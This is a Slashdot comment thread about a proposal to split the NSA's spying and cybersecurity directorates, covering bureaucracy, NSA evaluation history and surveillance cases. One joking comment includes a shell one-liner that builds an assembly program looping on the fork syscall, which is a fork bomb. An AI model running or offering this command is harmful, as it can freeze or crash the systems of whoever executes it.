Slashdot Mirror
It's Time To Split Up NSA Between Spooks and Geeks
Hugh Pickens writes "Noah Shachtman writes in Wired that most of us know the National Security Agency as the supersecret spook shop that allegedly slurped up our email and phone calls after the September 11 attacks, but not so many know that the NSA is actually home to two different agencies under one roof: the signals-intelligence directorate, who can tap into any electronic communication, and the information-assurance directorate, the cybersecurity nerds who make sure our government's computers and telecommunications systems are hacker- and eavesdropper-free. 'The problem is, their goals are often in opposition,' writes Shachtman. 'One team wants to exploit software holes; the other wants to repair them.' Users want to know that Google is safeguarding their data and privacy. The trouble is that when Google calls the NSA, everyone watching sees it as a package deal. Google wants geeks, but it runs the risk of getting spies, too."
Aren't they smart enough and rich enough to hire their own geeks? SIGINT is the main job of NSA, period. If you want to hire the wolf to guard the hen house, you take the consequences.
How about a moderation of -1 pedantic.
Okay, so TFA is arguing that creating a new agency 'that didn’t include the spooks would' avoid conflict and bring about 'acceptance across the government and the private sector'.
But right in the beginning, it says '[Google] wants geeks, but it runs the risk of getting spies' when it contacts the NSA.
If there is no guarantee that Google doesn't end up getting spooks from the NSA, who can say this new agency won't have spooks in there from the NSA?
Am I missing something here, or is there some magical reason why this new agency won't have spooks embedded there, and it should be trusted any more than the NSA?
'If Christ had tweeted the sermon on the mount, it might have lasted until nightfall.' - John Perry Barlow
We do not need yet another federal agency. Splitting them in two will only result in two bigger agencies with an ever ravenous appetite for more tax funds.
One of the worst things Bush did post 9/11 was creating the spate of new federal agencies. Can anyone say that their flying experience is actually better after TSA was created? Anyone?
How much good did creating yet another layer of intelligence bureaucracy do us? Did intelligence get any better after we made the Director of Central Intelligence obsolete by creating a Director of National Intelligence? Not one damn whit. It just grew the federal payroll some more, and added more bloat and bureaucracy.
Vital intelligence work needs to be done, but we need to be trimming down these agencies, not creating new ones.
Life is hard, and the world is cruel
Keeping our systems secure, and breaking into the other guys' systems, are damn near the same job. It is a good thing to have the people responsible for both working together, and maybe trading jobs occasionally. There is no American computer security and Russian computer security and Chinese computer security: there is only computer security, and systems which are more or less secure. The NSA has historically been about the only government agency that really seems to get this, and it would be a real mistake to break it up.
The correlation between ignorance of statistics and using "correlation is not causation" as an argument is close to 1.
and you can't have Red Hat without a subscription (well support at least).
The teachers will crack any minute, purple monkey dishwasher.
The government is not a monolithic mind. Bureaucratic distance famously hindered information sharing between various agencies pre-9/11, and that was when it was largely in both agencies' interest to cooperate. That wasn't an isolated instance--it's how bureaucracy works. Someone with control over both agencies could force one agency to subjugate its goals to the others', but it's much more complicated, much more controversial, will receive much more resistance, and is over-all much less likely to be attempted than when it's an intra-agency conflict.
This is old info, but NSA used to have a big internal division - the important stuff was at Fort Meade, and the less important stuff was at "FANX", the "Friendship Annex" (out near Friendship Airport, now called Baltimore Washington International). Support functions like personnel were at FANX, and still are.
Computer security was at FANX. Which was a problem. Being banished to FANX was bad for your career. The top NSA people didn't go to the computer security side of the house. So computer security languished for years.
All this was back when the USSR was the enemy, and NSA has changed a lot since then. But they still have Fort Meade and FANX, and less important stuff is still at FANX.
For a while, in the 1980s and 1990s, NSA did do serious computer security evaluations. Industry hated it, because products could fail. The original policy was that a company could submit products for evaluation by NSA. In the first round of evaluation, the NSA people told the company what was wrong, and gave them a chance to fix it. The second round was pass/fail; if NSA could break into it, it failed. There was no third round. Some highly secure systems did pass the tests, but they were not mainstream systems.
The process is now more "industry friendly". Evaluations are made by outside labs, paid by the companies being evaluated. Companies can keep trying over and over until they pass. Failures are not publicized. There are versions of Windows that have passed some level of Common Criteria testing.
The "geeks and spies" division in the article is bogus. NSA is all geeks. (Mostly the middle-aged federal employee version thereof.) It's buildings full of people working at desks. There are no "NSA agents". The spies and the guys with guns are at CIA, FBI, DIA, and in the intelligence units of the armed services.
You wouldn't actually do it, you'd just tell people you'd done it and hope some of them are gullible enough to fall for it.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Just ban them from listening in on Americans, as an official policy, and don't worry about it.
I'm sorry but that's purely wishful thinking on your part.
In 1976, the Church Committee reports found NSA obtained copies of millions of private telegrams sent from, to or through the United States in its SHAMROCK program.
On August 17, 2006, District Court Judge Anna Diggs Taylor ruled in ACLU v. NSA that NSA violated the First and Fourth amendment by warrantless tapping American citizens in the aftermath of 9/11.
In April 2009, intelligence officials admits that NSA had been engaged in “overcollection” of domestic communications of Americans. In one extreme case they even wiretapped a congressmen while he was overseas.
Please note that I am not wearing tinfoil hats and all my sources came from either from Congressional hearings or court rulings.
Splitting the two seems like an unfortunate way to let otherwise socially responsible geeks do morally questionable things. Keep the two groups together. Let them be totally aware that they are spies and there is a heavy price for deception and living a lie.
"Eve of Destruction", it's not just for old hippies anymore...
I'm not sure having a PhD in math grants expertise in computer and network security.
It doesn't but you're going to find a pretty heavy correlation between the two. Someone good in math is far more likely than average to have or be able to develop expertise in any given use of computers. The skill sets are different but the skills do overlap to a non-trivial degree. I'm sure a PhD is not required to work in computer security at the NSA but I also suspect they have more PhDs in that role than most employers. Just a guess I'll admit but it seems likely.
My guess is their expertise is used largely in encryption efforts.
I think you are probably correct.
I really see no evidence that the NSA has scooped up the smartest math PhDs.
Certainly they have no monopoly on smarts. Academia, private industry, finance, NASA and others employers unquestionably have a big share. The only safe thing to say is that the NSA apparently has a goodly number of very bright individuals working there. What portion of the talent pool they have is something that I'm sure is heavily classified if anyone even knows.
And how about SIGHUP?
It all depends on what level of Common Criteria evaluation you are talking about. At the higher levels, there is a lab authorized to conduct a product inspection and, once you pass that test, you get a medium level NIAP certificate. If you wish a higher level of CC approval in the US, after this original process NSA itself takes control and does its tests. So the process is still a two step process with NSA involvement...or was about 4 years ago when I was involved in taking an "Orange Book" product through CC evaluation.
Are you kidding me? First off, I never said the government was a monolithic mind. I said if the government wants to give you spies, you get spies. And by "government" I mean whoever the hell is in charge and responsible for things like getting the telecoms involved in wiretapping, etc, etc. These are not just isolated incidents, and it is pure folly to think that just because bureaucracy sometimes creates organizational barriers, that the government can be controlled and held accountable. The spooks will infiltrate wherever they please. The tail wags the dog.
How are they in opposition? Isn't the aim to exploit the ones in their systems, and plug the holes in ours.
At the bottom of the